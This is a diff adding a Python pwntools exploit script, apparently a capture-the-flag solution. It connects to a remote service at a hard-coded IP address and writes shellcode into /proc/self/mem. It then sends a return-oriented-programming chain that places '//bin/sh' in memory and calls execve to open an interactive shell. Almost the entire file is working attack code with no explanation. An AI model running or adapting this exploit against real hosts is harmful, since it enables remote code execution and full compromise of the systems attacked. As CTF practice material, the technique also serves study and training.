|
| 1 | +#!/usr/bin/python2 |
| 2 | +#-*- coding:utf-8 -*- |
| 3 | + |
| 4 | +from pwn import * |
| 5 | +from pwn import sleep |
| 6 | +context.log_level = "critical" |
| 7 | +context.binary = "/usr/bin/python3" |
| 8 | +elf = context.binary |
| 9 | + |
| 10 | +# io = process("./abw") |
| 11 | +io = remote("34.82.101.212", 10010) |
| 12 | + |
| 13 | +io.sendlineafter(" :", "/proc/self/mem") |
| 14 | + |
| 15 | +offset = 0x4b0f80 |
| 16 | +io.sendlineafter(" :", str(offset)) |
| 17 | + |
| 18 | +# gdb.attach(io, '''b *0x4b0f78\nc''') |
| 19 | +data = asm(''' |
| 20 | + mov rsi, rsp |
| 21 | + mov rdx, r12 |
| 22 | + pop rdi |
| 23 | + syscall |
| 24 | + ret |
| 25 | + ''').encode('hex') |
| 26 | +print(len(data)) |
| 27 | +assert len(data) <= 20 |
| 28 | +io.sendlineafter(":", data) |
| 29 | +sleep(0.01) |
| 30 | + |
| 31 | +from struct import pack |
| 32 | + |
| 33 | +p = lambda x : pack('Q', x) |
| 34 | + |
| 35 | +IMAGE_BASE_0 = 0x0000000000400000 # 577e6f13d080302dd4c6e653134fee0234c7b4b4a9b03c849f6d0b176aa379b2 |
| 36 | +rebase_0 = lambda x : p(x + IMAGE_BASE_0) |
| 37 | + |
| 38 | +rop = '' |
| 39 | +rop += 'padding0円' |
| 40 | + |
| 41 | +rop += rebase_0(0x0000000000020d7c) # 0x0000000000420d7c: pop r13; ret; |
| 42 | +rop += '//bin/sh' |
| 43 | +rop += rebase_0(0x0000000000020bb0) # 0x0000000000420bb0: pop r12; ret; |
| 44 | +rop += rebase_0(0x00000000005b4ea0) |
| 45 | +rop += rebase_0(0x000000000015c64d) # 0x000000000055c64d: mov qword ptr [r12], r13; pop r12; pop r13; pop r14; ret; |
| 46 | +rop += p(0xdeadbeefdeadbeef) |
| 47 | +rop += p(0xdeadbeefdeadbeef) |
| 48 | +rop += p(0xdeadbeefdeadbeef) |
| 49 | +rop += rebase_0(0x0000000000020d7c) # 0x0000000000420d7c: pop r13; ret; |
| 50 | +rop += p(0x0000000000000000) |
| 51 | +rop += rebase_0(0x0000000000020bb0) # 0x0000000000420bb0: pop r12; ret; |
| 52 | +rop += rebase_0(0x00000000005b4ea8) |
| 53 | +rop += rebase_0(0x000000000015c64d) # 0x000000000055c64d: mov qword ptr [r12], r13; pop r12; pop r13; pop r14; ret; |
| 54 | +rop += p(0xdeadbeefdeadbeef) |
| 55 | +rop += p(0xdeadbeefdeadbeef) |
| 56 | +rop += p(0xdeadbeefdeadbeef) |
| 57 | +rop += rebase_0(0x0000000000021872) # 0x0000000000421872: pop rdi; ret; |
| 58 | +rop += rebase_0(0x00000000005b4ea0) |
| 59 | +rop += rebase_0(0x000000000002159a) # 0x000000000042159a: pop rsi; ret; |
| 60 | +rop += rebase_0(0x00000000005b4ea8) |
| 61 | +rop += rebase_0(0x00000000000026c1) # 0x00000000004026c1: pop rdx; ret; |
| 62 | +rop += rebase_0(0x00000000005b4ea8) |
| 63 | +rop += rebase_0(0x0000000000021095) # 0x0000000000421095: pop rax; ret; |
| 64 | +rop += p(0x000000000000003b) |
| 65 | +rop += rebase_0(0x000000000009a009) # 0x000000000049a009: syscall; |
| 66 | +io.sendline(rop) |
| 67 | + |
| 68 | +io.interactive() |
0 commit comments